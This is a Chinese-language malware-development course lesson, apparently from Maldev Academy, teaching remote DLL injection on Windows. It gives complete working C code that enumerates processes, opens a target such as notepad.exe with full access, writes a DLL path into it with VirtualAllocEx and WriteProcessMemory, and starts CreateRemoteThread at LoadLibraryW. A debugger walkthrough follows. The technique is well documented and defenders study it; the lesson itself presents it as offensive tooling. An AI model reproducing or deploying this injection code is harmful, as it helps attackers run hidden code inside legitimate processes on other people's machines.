跳至主要內容

28-进程注入-DLL 注入

Maldevacademy大约 10 分钟安全开发

导言

本模块将演示一种与之前本地 DLL 注入方法类似的方法,只不过现在它将在远程进程中执行。

枚举进程

在将 DLL 注入进程之前,必须先选择一个目标进程。因此,远程进程注入的第一步通常是枚举计算机上正在运行的进程,了解可以注入的潜在目标进程。需要进程 ID(PID)来打开目标进程的句柄,并允许对目标进程执行必要的工作。

本模块创建了一个执行进程枚举的函数来确定所有正在运行的进程。函数 GetRemoteProcessHandle 将用于执行系统上所有正在运行进程的枚举,打开目标进程的句柄,并返回进程的 PID 和句柄。

CreateToolhelp32Snapshot

代码片段首先使用 CreateToolhelp32Snapshotopen in new window 函数,并为其第一个参数指定 TH32CS_SNAPPROCESS 标记,该标记会对系统在函数执行时正在运行的所有进程进行快照。

// 对当前运行的进程进行快照
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

PROCESSENTRY32(进程条目32)结构

获取进程快照后,使用 Process32Firstopen in new window 来获取快照中第一个进程的信息。对于快照中的所有剩余进程,使用 Process32Nextopen in new window

Microsoft 的文档指出,Process32FirstProcess32Next 都需要一个作为其第二个参数传入的 PROCESSENTRY32open in new window 结构。在结构传入后,函数会使用进程信息填充结构。PROCESSENTRY32 结构如下所示,旁边是这些函数填充的结构的有用成员的注释。

typedef struct tagPROCESSENTRY32 {
  DWORD     dwSize;
  DWORD     cntUsage;
  DWORD     th32ProcessID;              // 进程 ID
  ULONG_PTR th32DefaultHeapID;
  DWORD     th32ModuleID;
  DWORD     cntThreads;
  DWORD     th32ParentProcessID;        // 父进程的进程 ID
  LONG      pcPriClassBase;
  DWORD     dwFlags;
  CHAR      szExeFile[MAX_PATH];        // 进程的可执行文件的名称
} PROCESSENTRY32;

Process32FirstProcess32Next 填充结构后,可以通过使用点运算符从结构中提取数据。例如,要提取 PID,请使用 PROCESSENTRY32.th32ProcessID

Process32First 和 Process32Next 函数

如前所述,Process32First 函数用于获取快照中第一个进程的信息,而 Process32Next 函数用于获取快照中所有其他进程的信息(使用 do-while 循环)。将所搜索的进程名称 szProcessName 与当前循环迭代中的进程名称进行比较,该进程名称从填充后的结构 Proc.szExeFile 中提取。如果匹配,则进程 ID 保存下来,并为该进程打开一个句柄。

// 检索快照中遇到的第一个进程的信息。
if (!Process32First(hSnapShot, &Proc)) {
    printf("[!] Process32First 失败,错误代码: %d \n", GetLastError());
    goto _EndOfFunction;
}

do {
    // 使用点运算符从填充的结构中提取进程名称
    // 如果进程名称与要查找的进程名称匹配
    if (wcscmp(Proc.szExeFile, szProcessName) == 0) {
        // 使用点运算符从填充的结构中提取进程 ID
        // 保存 PID
        *dwProcessId  = Proc.th32ProcessID;
        // 为进程打开一个句柄
        *hProcess     = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
        if (*hProcess == NULL)
            printf("[!] OpenProcess 失败,错误代码: %d \n", GetLastError());

        break; // 退出循环
    }

// 检索快照中记录的下一个进程的信息。
// 只要快照中还存在进程,就继续循环
} while (Process32Next(hSnapShot, &Proc));

进程枚举 - 代码

BOOL GetRemoteProcessHandle(IN LPWSTR szProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess) {

	// 根据文档:
	// 在调用 Process32First 函数之前,将该成员设置为 sizeof(PROCESSENTRY32)。
	// 如果未初始化 dwSize,则 Process32First 将失败。
	PROCESSENTRY32	Proc = {
		.dwSize = sizeof(PROCESSENTRY32) 
	};

	HANDLE hSnapShot = NULL;

	// 获取当前正在运行的进程的快照
	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
	if (hSnapShot == INVALID_HANDLE_VALUE){
		printf("[!] CreateToolhelp32Snapshot 失败,错误代码为:%d \n", GetLastError());
		goto _EndOfFunction;
	}

	// 获取快照中遇到的第一个进程的信息。
	if (!Process32First(hSnapShot, &Proc)) {
		printf("[!] Process32First 失败,错误代码为:%d \n", GetLastError());
		goto _EndOfFunction;
	}

	do {
		// 使用点运算符从填充的结构体中提取进程名
		// 如果进程名与我们正在寻找的进程匹配
		if (wcscmp(Proc.szExeFile, szProcessName) == 0) {
			// 使用点运算符从填充的结构体中提取进程 ID
			// 保存 PID
			*dwProcessId = Proc.th32ProcessID;
			// 打开一个进程句柄
			*hProcess    = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
			if (*hProcess == NULL)
				printf("[!] OpenProcess 失败,错误代码为:%d \n", GetLastError());

			break; // 退出循环
		}

	// 获取快照中记录的下一个进程的信息。
	// 当快照中仍有进程时,继续循环
	} while (Process32Next(hSnapShot, &Proc));
	
	// 清理工作
	_EndOfFunction:
		if (hSnapShot != NULL)
			CloseHandle(hSnapShot);
		if (*dwProcessId == NULL || *hProcess == NULL)
			return FALSE;
		return TRUE;
}

Microsoft 的示例

另一个进程枚举示例可在此处查看 hereopen in new window

对大小写敏感的进程名

上面的代码段包含一个被忽略的缺陷,这会导致结果不准确。wcscmp 函数用于比较进程名,但它没有考虑大小写,意味着 Process1.exeprocess1.exe 将被视为两个不同的进程。

下面的代码段通过将 Proc.szExeFile 成员中的值转换为小写字符串,然后将其与 szProcessName 进行比较来解决此问题。因此,szProcessName 必须始终作为小写字符串传递。

BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {

	// 根据文档:
	// 在调用 Process32First 函数之前,将此成员设置为 sizeof(PROCESSENTRY32)。
	// 如果未初始化 dwSize,Process32First 将失败。
	PROCESSENTRY32	Proc = {
		.dwSize = sizeof(PROCESSENTRY32)
	};

	HANDLE hSnapShot = NULL;

	// 获取当前正在运行的进程的快照
	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
	if (hSnapShot == INVALID_HANDLE_VALUE){
		printf("[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	// 检索快照中遇到的第一个进程的信息。
	if (!Process32First(hSnapShot, &Proc)) {
		printf("[!] Process32First Failed With Error : %d \n", GetLastError());
		goto _EndOfFunction;
	}

	do {

		WCHAR LowerName[MAX_PATH * 2];

		if (Proc.szExeFile) {
			DWORD	dwSize = lstrlenW(Proc.szExeFile);
			DWORD   i = 0;

			RtlSecureZeroMemory(LowerName, MAX_PATH * 2);

			// 将 Proc.szExeFile 中的每个字符转换成小写并将其保存在 LowerName 中
			if (dwSize < MAX_PATH * 2) {

				for (; i < dwSize; i++)
					LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);

				LowerName[i++] = '\0';
			}
		}

		// 如果进程的(小写)名称与我们正在寻找的进程匹配
		if (wcscmp(LowerName, szProcessName) == 0) {
			// 保存 PID
			*dwProcessId = Proc.th32ProcessID;
			// 为进程打开一个句柄
			*hProcess    = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
			if (*hProcess == NULL)
				printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());

			break;
		}

	// 检索快照中记录的下一个进程的信息。
	// 如果快照中仍有进程,则继续循环
	} while (Process32Next(hSnapShot, &Proc));

	// 清理
	_EndOfFunction:
		if (hSnapShot != NULL)
			CloseHandle(hSnapShot);
		if (*dwProcessId == NULL || *hProcess == NULL)
			return FALSE;
		return TRUE;
	}

DLL 注入

现在我们已经成功获取到目标进程的句柄。下一步是将 DLL 注入到目标进程中,这需要使用一些之前使用过的 Windows API 以及一些新的 API。

代码演练

本节将逐步讲解 DLL 注入代码(如下所示)。函数 InjectDllToRemoteProcess 接受两个参数:

  1. 进程句柄 - 这是将 DLL 注入其中的目标进程的 HANDEL。

  2. DLL 名称 - 将要注入到目标进程中的 DLL 的完整路径。

查找 LoadLibraryW 地址

LoadLibraryW 用于加载一个调用它的进程内部的 DLL。由于目标是加载远程进程内部而非本地进程内部的 DLL,所以不能直接调用它。相反,必须检索 LoadLibraryW 的地址并将其作为参数传递给进程中远程创建的线程,同时将 DLL 名称作为其参数。这起作用是因为 LoadLibraryW WinAPI 的地址在远程进程中和在本地进程中相同。为了确定 WinAPI 的地址,需要使用 GetProcAddressGetModuleHandle

// LoadLibrary 由 kernel32.dll 导出
// 因此,获取 kernel32.dll 的句柄,然后获取 LoadLibraryW 的地址
pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");

存储在 pLoadLibraryW 中的地址将在远程进程中创建新线程时用作线程入口。

内存分配

下一步是在远程进程中分配一个内存,以容纳 DLL 的名称 DllNameVirtualAllocEx 函数用于在远程进程中分配内存。

// 在远程进程 hProcess 内分配大小为 dwSizeToWrite(即 DLL 名称大小)的内存。
// 内存保护为读写
pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

向已分配的内存写入数据

在远程进程中成功分配内存后,可以使用 WriteProcessMemory 函数向已分配的缓冲区写入数据。DLL 的名称将被写入到之前分配的内存缓冲区中。

根据文档,WriteProcessMemory WinAPI 函数如下所示:

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,               // 一个句柄,指向待写入的进程的内存
  [in]  LPVOID  lpBaseAddress,          // 指定进程中数据的基地址,数据将被写入到该地址
  [in]  LPCVOID lpBuffer,               // 一个指针,指向包含要写入到 'lpBaseAddress' 中的数据的缓冲区
  [in]  SIZE_T  nSize,                  // 要写入到指定进程中的字节数
  [out] SIZE_T  *lpNumberOfBytesWritten // 一个指向 'SIZE_T' 变量的指针,接收实际写入的字节数
);

基于上面所示的 WriteProcessMemory 的参数,它将被调用如下,将缓冲区 (DllName) 写入之前调用的 VirtualAllocEx 函数返回的已分配地址 (pAddress) 中。

// 要写入的数据是 DLL 名称 'DllName',大小为 'dwSizeToWrite'
SIZE_T lpNumberOfBytesWritten = NULL;
WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytesWritten)

通过新线程执行

在成功地将 DLL 的路径写入到分配的缓冲区后,将会使用 CreateRemoteThread 来在远程进程中创建一个新线程。这就是 LoadLibraryW 地址变得必要的地方。将 pLoadLibraryW 作为线程的起始地址传递,然后将包含 DLL 名称的 pAddress 作为参数传递给 LoadLibraryW 调用。这是通过将 pAddress 作为 CreateRemoteThreadlpParameter 参数来完成的。

CreateRemoteThread 的参数与前面解释的 CreateThread WinAPI 函数的参数相同,除了额外的 HANDLE hProcess 参数,它表示要创建线程的进程的句柄。

// 线程入口将是 'pLoadLibraryW',它是 LoadLibraryW 的地址
// DLL 的名称 pAddress 作为参数传递给 LoadLibrary
HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);

DLL 注入 - 代码片段

BOOL InjectDllToRemoteProcess(IN HANDLE hProcess, IN LPWSTR DllName) {

    BOOL        bSTATE                     = TRUE;

    LPVOID       pLoadLibraryW              = NULL;
    LPVOID       pAddress                   = NULL;

    // 获取 DllName 的大小,按字节计算
    DWORD       dwSizeToWrite              = lstrlenW(DllName) * sizeof(WCHAR);

    SIZE_T       lpNumberOfBytesWritten     = NULL;

    HANDLE       hThread                    = NULL;

    pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
    if (pLoadLibraryW == NULL) {
        printf("[!] GetProcAddress 失败,错误代码:%d \n", GetLastError());
        bSTATE = FALSE;
        goto _EndOfFunction;
    }

    pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pAddress == NULL) {
        printf("[!] VirtualAllocEx 失败,错误代码:%d \n", GetLastError());
        bSTATE = FALSE;
        goto _EndOfFunction;
    }

    printf("[i] pAddress 分配在:0x%p,大小:%d\n", pAddress, dwSizeToWrite);
    printf("[#] 按 <Enter> 键写入 ... ");
    getchar();

    if (!WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytesWritten) || lpNumberOfBytesWritten != dwSizeToWrite) {
        printf("[!] WriteProcessMemory 失败,错误代码:%d \n", GetLastError());
        bSTATE = FALSE;
        goto _EndOfFunction;
    }

    printf("[i] 已成功写入 %d 字节\n", lpNumberOfBytesWritten);
    printf("[#] 按 <Enter> 键运行 ... ");
    getchar();

    printf("[i] 正在执行有效载荷 ... ");
    hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);
    if (hThread == NULL) {
        printf("[!] CreateRemoteThread 失败,错误代码:%d \n", GetLastError());
        bSTATE = FALSE;
        goto _EndOfFunction;
    }
    printf("[+] 完成!\n");


_EndOfFunction:
    if (hThread)
        CloseHandle(hThread);
    return bSTATE;
}

调试

在本部分中,使用 xdbg 调试器调试了实现,以进一步了解引擎盖之下的情况。

首先,运行 RemoteDllInjection.exe 并传递两个参数,即目标进程和要注入到目标进程中的完整 DLL 路径。在此演示中,正在注入 notepad.exe

图片
图片

进程枚举成功。使用进程黑客验证记事本的 PID 确实是 20932

图片
图片

接下来,将 xdbg 附加到目标进程记事本,并检查分配的地址。下图显示缓冲区已成功分配。

图片
图片

在分配内存后,将 DLL 名称写入缓冲区。

图片
图片

最后,在执行 DLL 的远程进程中创建了一个新线程。

图片
图片

使用进程黑客的模块选项卡验证 DLL 是否已成功注入。

图片
图片

转到进程黑客中的线程选项卡,并注意正在以 LoadLibraryW 为其入口函数运行的线程。

图片
图片